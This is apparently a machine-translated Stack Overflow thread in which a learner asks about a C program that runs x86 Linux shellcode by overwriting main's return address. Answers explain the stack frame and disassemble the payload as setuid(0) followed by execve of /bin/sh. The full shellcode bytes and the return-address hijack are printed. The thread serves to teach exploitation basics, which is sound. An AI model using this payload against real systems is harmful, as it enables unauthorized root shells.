может ли кто-нибудь объяснить мне этот код?

ВНИМАНИЕ: это эксплойт. Не выполняйте этот код.

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}

может ли кто-нибудь дать мне лучшее объяснение?


person 0xab3d    schedule 24.04.2010    source источник
comment
Я согласен с тем, что сказал 0xA3. Это кажется очень подозрительным. @Abed, если вы нашли это где-то на своем компьютере, вам, вероятно, следует тщательно проверить, не принадлежали ли вы вам.   -  person Josh    schedule 24.04.2010
comment
спасибо, Джош, я знаю, что это эксплойт, я изучаю книгу под названием «Взлом серой шляпы», 2-е издание, так что не волнуйтесь, я хочу быть серой шляпой :)   -  person 0xab3d    schedule 25.04.2010
comment
@ 0xA3, почему ты не разобрал этот код, прежде чем сказать это. это просто оболочка   -  person Yuda Prawira    schedule 07.05.2011


Ответы (7)


По-видимому, этот код пытается изменить стек таким образом, чтобы при возврате функции main выполнение программы не возвращалось регулярно в библиотеку времени выполнения (что обычно завершало бы программу), а вместо этого переходило к коду, сохраненному в массиве shellcode.

1) int *ret;

определяет переменную в стеке сразу под аргументами функции main.

2) ret = (int *)&ret + 2;

позволяет переменной ret указывать на int *, который расположен двумя int над ret в стеке. Предположительно, именно здесь находится адрес возврата, по которому программа продолжит работу, когда main вернется.

2) (*ret) = (int)shellcode;

Адрес возврата устанавливается равным адресу содержимого массива shellcode, так что содержимое shellcode будет выполнено, когда main вернется.


shellcode, по-видимому, содержит машинные инструкции, которые, возможно, выполняют системный вызов для запуска /bin/sh. Я могу ошибаться, так как на самом деле не разбирал shellcode.


P.S. Этот код зависит от машины и компилятора и, возможно, не будет работать на всех платформах.


Ответ на второй вопрос:

а что произойдет, если я использую ret=(int)&ret +2, и почему мы добавили 2? почему не 3 или 4??? и я думаю, что int - это 4 байта, поэтому 2 будет 8 байт, нет?

ret объявлен как int*, поэтому присвоение ему int (например, (int)&ret) было бы ошибкой. Что касается того, почему добавляется 2, а не любое другое число: очевидно, потому что этот код предполагает, что адрес возврата будет лежать в этом месте в стеке. Рассмотрим следующее:

  • Этот код предполагает, что стек вызовов растет вниз, когда в него что-то помещается (как это действительно происходит, например, с процессорами Intel). Вот почему число добавляется, а не вычитается: адрес возврата лежит в более высоком адресе памяти, чем автоматические (локальные) переменные (такие как ret).

  • Насколько я помню со времен сборки Intel, функция C часто вызывается следующим образом: сначала все аргументы помещаются в стек в обратном порядке (справа налево). Затем вызывается функция. Таким образом, адрес возврата помещается в стек. Затем создается новый кадр стека, который включает в себя помещение регистра ebp в стек. Затем локальные переменные устанавливаются в стеке под всем, что было помещено в него до этого момента.

Теперь я предполагаю следующую структуру стека для вашей программы:

+-------------------------+
|  function arguments     |                       |
|  (e.g. argv, argc)      |                       |  (note: the stack
+-------------------------+   <-- ss:esp + 12     |   grows downward!)
|  return address         |                       |
+-------------------------+   <-- ss:esp + 8      V
|  saved ebp register     |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  (see code below)
|  local variable (ret)   |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

Внизу лежит ret (32-битное целое число). Над ним находится сохраненный регистр ebp (который также имеет ширину 32 бита). Выше находится 32-битный адрес возврата. (Выше этого будут аргументы mainargc и argv — но здесь они не важны.) Когда функция выполняется, указатель стека указывает на ret. Адрес возврата лежит на 64 бита "выше" ret, что соответствует + 2 в

ret = (int*)&ret + 2; 

Это + 2, потому что ret — это int*, а int — это 32 бита, поэтому добавление 2 означает установку его в ячейку памяти на 2 32 бита (= 64 бита) выше (int*)&ret... которая будет адресом возврата, если все предположения в предыдущем абзаце верны.


Экскурсия: позвольте мне продемонстрировать на языке ассемблера Intel, как функция C может быть вызвана (если я правильно помню - я не гуру в этой теме, поэтому я могу ошибаться ):

// first, push all function arguments on the stack in reverse order:
push  argv
push  argc

// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call  main

// (afterwards: clean up stack by removing the function arguments, e.g.:)
add   esp, 8

Внутри main может произойти следующее:

// create a new stack frame and make room for local variables:
push  ebp
mov   ebp, esp
sub   esp, 4

// access return address:
mov   edi, ss:[ebp+4]

// access argument 'argc'
mov   eax, ss:[ebp+8]

// access argument 'argv'
mov   ebx, ss:[ebp+12]

// access local variable 'ret'
mov   edx, ss:[ebp-4]

...

// restore stack frame and return to caller (by popping the return address)
mov   esp, ebp
pop   ebp
retf

См. также: Описание последовательности вызова процедуры в C для другого объяснения этой темы.

person stakx - no longer contributing    schedule 24.04.2010
comment
Спасибо, чувак, это очень хорошо, и у меня есть только один вопрос, когда ты сказал, что в 2) int * это помещено, ты имеешь в виду все утверждение, которое (int *) & ret ???? - person 0xab3d; 25.04.2010
comment
и что произойдет, если я использую ret=(int)&ret +2 и почему мы добавили 2? почему не 3 или 4??? и я думаю, что int 4 байта, поэтому 2 будет 8 байт, нет? - person 0xab3d; 25.04.2010
comment
@kmitnick - вы также можете найти мой ответ на другой вопрос полезным для понимания того, почему было добавлено 2 - stackoverflow.com/questions/2543725/ - person jschmier; 25.04.2010
comment
thnx stakx, это очень хорошее объяснение, + ответ, но последнее, так как ret - это указатель, и если мы напишем ret=&ret + 2, то мы получим то же самое или нет? я так понимаю, как вы сказали, пусть ret указывает на адрес ret + 2 , поэтому (int *), за которым следует адрес, означает, что пусть ret указывает на этот адрес или нет ?? - person 0xab3d; 26.04.2010
comment
@kmitnick: Не уверен, правильно ли я понял ваш вопрос. &ret вернет ячейку памяти ret как void*. Чтобы иметь возможность сместить указатель на ячейку памяти на 8 байтов дальше от адреса ret, его необходимо преобразовать в int*. Затем +2 добавляет не 2 к ret, а 2*sizeof(int). - person stakx - no longer contributing; 26.04.2010

Фактический шеллкод:

(gdb) x /25i &shellcode
0x804a040 <shellcode>:      xor    %eax,%eax
0x804a042 <shellcode+2>:    xor    %ebx,%ebx
0x804a044 <shellcode+4>:    mov    $0x17,%al
0x804a046 <shellcode+6>:    int    $0x80
0x804a048 <shellcode+8>:    jmp    0x804a069 <shellcode+41>
0x804a04a <shellcode+10>:   pop    %esi
0x804a04b <shellcode+11>:   mov    %esi,0x8(%esi)
0x804a04e <shellcode+14>:   xor    %eax,%eax
0x804a050 <shellcode+16>:   mov    %al,0x7(%esi)
0x804a053 <shellcode+19>:   mov    %eax,0xc(%esi)
0x804a056 <shellcode+22>:   mov    $0xb,%al
0x804a058 <shellcode+24>:   mov    %esi,%ebx
0x804a05a <shellcode+26>:   lea    0x8(%esi),%ecx
0x804a05d <shellcode+29>:   lea    0xc(%esi),%edx
0x804a060 <shellcode+32>:   int    $0x80
0x804a062 <shellcode+34>:   xor    %ebx,%ebx
0x804a064 <shellcode+36>:   mov    %ebx,%eax
0x804a066 <shellcode+38>:   inc    %eax
0x804a067 <shellcode+39>:   int    $0x80
0x804a069 <shellcode+41>:   call   0x804a04a <shellcode+10>
0x804a06e <shellcode+46>:   das    
0x804a06f <shellcode+47>:   bound  %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>:   das    
0x804a073 <shellcode+51>:   jae    0x804a0dd
0x804a075 <shellcode+53>:   add    %al,(%eax)

Это соответствует примерно

setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
person Chris Dodd    schedule 24.04.2010
comment
Спасибо, Крис, очень ценю это :) - person 0xab3d; 25.04.2010
comment
Был ли у вас какой-то автоматизированный способ преобразования шелл-кода в ASM без ручного поиска? - person Rizwan Kassim; 25.04.2010
comment
Это было получено путем компиляции примера, запуска gdb для полученного исполняемого файла и использования x /25i &shellcode для его дизассемблирования. - person Chris Dodd; 25.04.2010

Эта строка взята из старого документа о переполнении буфера и будет выполнять /bin/sh. Поскольку это вредоносный код (ну, в паре с эксплойтом буфера), вам действительно следует указать его происхождение в следующий раз.

Из того же документа как кодировать эксплойты на основе стека :

/* the shellcode is hex for: */
      #include <stdio.h>
       main() { 
       char *name[2]; 
       name[0] = "sh"; 
       name[1] = NULL;
       execve("/bin/sh",name,NULL);
          } 

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
         \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
         \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Включенный вами код вызывает выполнение содержимого шеллкода[], запуская execve, и предоставление доступа к оболочке. А термин Шеллкод? Из Википедии:

В компьютерной безопасности шелл-код — это небольшой фрагмент кода, используемый в качестве полезной нагрузки при использовании уязвимости в программном обеспечении. Он называется «шелл-кодом», потому что обычно запускает командную оболочку, из которой злоумышленник может управлять скомпрометированной машиной. Шелл-код обычно записывается в машинном коде, но любой фрагмент кода, выполняющий аналогичную задачу, может называться шелл-кодом.

person Rizwan Kassim    schedule 24.04.2010

Не просматривая все фактические коды операций для подтверждения, массив shellcode содержит машинный код, необходимый для выполнения /bin/sh. Этот шеллкод представляет собой тщательно сконструированный машинный код для выполнения желаемой операции на конкретной целевой платформы и не содержать null байт.

Код в main() изменяет адрес возврата и поток выполнения, чтобы программа порождала оболочку, выполняя инструкции в массиве shellcode.

Подробнее о том, как Такой шеллкод можно создать и как его можно использовать.

person jschmier    schedule 24.04.2010

Строка содержит ряд байтов, представленных в шестнадцатеричном формате.

Байты кодируют серию инструкций для конкретного процессора на конкретной платформе — надеюсь, вашей. (Редактировать: если это вредоносное ПО, надеюсь, не ваше!)

Переменная определена только для того, чтобы получить дескриптор стека. Закладка, если хотите. Затем используется арифметика указателей, опять же зависящая от платформы, для управления состоянием программы, чтобы заставить процессор перейти к байтам в строке и выполнить их.

person Potatoswatter    schedule 24.04.2010

Каждый \xXX является шестнадцатеричным числом. Одно, два или три таких числа вместе образуют код операции (погуглите). Вместе это образует сборку, которая может быть выполнена машиной более или менее непосредственно. И этот код пытается выполнить шеллкод.

Я думаю, что шелл-код пытается создать оболочку.

person Henri    schedule 24.04.2010

Это просто спавн /bin/sh, например в C как execve("/bin/sh", NULL, NULL);

person VIII    schedule 27.08.2020